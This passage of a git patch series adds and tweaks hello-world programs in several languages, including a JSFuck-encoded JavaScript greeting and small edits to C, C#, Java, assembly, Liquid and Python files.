[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(+(!+[]+!+[]+!+[]+[!+[]+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]])+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() diff --git a/jsfuck/help.txt b/jsfuck/help.txt new file mode 100644 index 000000000..11a8a6385 --- /dev/null +++ b/jsfuck/help.txt @@ -0,0 +1 @@ +alert("hello world") diff --git a/katrinasilver/hello-world.liquid b/katrinasilver/hello-world.liquid new file mode 100644 index 000000000..ca9622794 --- /dev/null +++ b/katrinasilver/hello-world.liquid @@ -0,0 +1,2 @@ +{% assign greeting = "hello world!" %} +

{{ greeting }}

diff --git a/x86/hello_world.asm b/x86/hello_world.asm index c36f432bd..623008208 100644 --- a/x86/hello_world.asm +++ b/x86/hello_world.asm @@ -5,17 +5,17 @@ ; nasm -felf64 hello.asm && ld hello.o && ./a.out ; ---------------------------------------------------------------------------------------- +section .text global _start + +_start: mov rax, 1 ; system call for write + mov rdi, 1 ; file handle 1 is stdout + mov rsi, message ; address of string to output + mov rdx, 13 ; number of bytes + syscall ; invoke operating system to do the write + mov rax, 60 ; system call for exit + xor rdi, rdi ; exit code 0 + syscall ; invoke operating system to exit - section .text - _start: mov rax, 1 ; system call for write - mov rdi, 1 ; file handle 1 is stdout - mov rsi, message ; address of string to output - mov rdx, 13 ; number of bytes - syscall ; invoke operating system to do the write - mov rax, 60 ; system call for exit - xor rdi, rdi ; exit code 0 - syscall ; invoke operating system to exit - - section .data - message: db "Hello, World", 10 ; note the newline at the end + section .data + message: db "Hello, World", 10 ; note the newline at the end From c0e53af46c6dcb38af2335b989b87e28c76d665b Mon Sep 17 00:00:00 2001 From: Manbir Marwah Date: Thu, 18 Oct 2018 21:50:13 +0530 Subject: [PATCH 3/4] updated 7 files --- C#/helloworld.cs | 5 ++--- C/Hello_world.c | 12 +++++++----- JavaScript/helloWorldNew.js | 4 +++- c/hello.c | 2 +- java/helloworld.java | 2 +- 5 files changed, 14 insertions(+), 11 deletions(-) diff --git a/C#/helloworld.cs b/C#/helloworld.cs index f38379e72..b1319153c 100644 --- a/C#/helloworld.cs +++ b/C#/helloworld.cs @@ -1,13 +1,12 @@ using System; -namespace Hello +namespace hello { - class Program + class HelloWorld { static void Main(string[] args) { Console.WriteLine("Hello World!"); - Console.ReadKey(); } } } diff --git a/C/Hello_world.c b/C/Hello_world.c index 5cbbc68c2..35dd43bf3 100644 --- a/C/Hello_world.c +++ b/C/Hello_world.c @@ -1,5 +1,7 @@ -#include -int main(){ - printf("Hello, World!\n"); - return 0; -} +#include + +int main(void) +{ + printf("Hello World"); + return 0; +} diff --git a/JavaScript/helloWorldNew.js b/JavaScript/helloWorldNew.js index ea73d192d..bce40974d 100644 --- a/JavaScript/helloWorldNew.js +++ b/JavaScript/helloWorldNew.js @@ -1 +1,3 @@ -console.log("Hey World!") +function HelloWorld(){ + console.log('hello world'); +} diff --git a/c/hello.c b/c/hello.c index 1786da6a9..1e6544cff 100644 --- a/c/hello.c +++ b/c/hello.c @@ -1,6 +1,6 @@ #include //header file int main() //main function { - printf("Hello World!\n:)"); //print statement + printf("Hello World ! \n:)"); //print statement return 0; } diff --git a/java/helloworld.java b/java/helloworld.java index dccccce61..01112a082 100644 --- a/java/helloworld.java +++ b/java/helloworld.java @@ -1,5 +1,5 @@ public class Program { public static void main(String[] args) { - System.out.print("Hello World."); + System.out.print("Hello"); } } From 1813963e7ba0f2c5c6ef74fcd25f0a770290b077 Mon Sep 17 00:00:00 2001 From: Manbir Marwah Date: Thu, 18 Oct 2018 21:54:17 +0530 Subject: [PATCH 4/4] updated --- Python/happy-hacktober.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Python/happy-hacktober.py b/Python/happy-hacktober.py index 0cc7edca1..bbb17f02b 100644 --- a/Python/happy-hacktober.py +++ b/Python/happy-hacktober.py @@ -1 +1 @@ -print("Happy hacktober!") \ No newline at end of file +print("Happy hacktober!!") \ No newline at end of file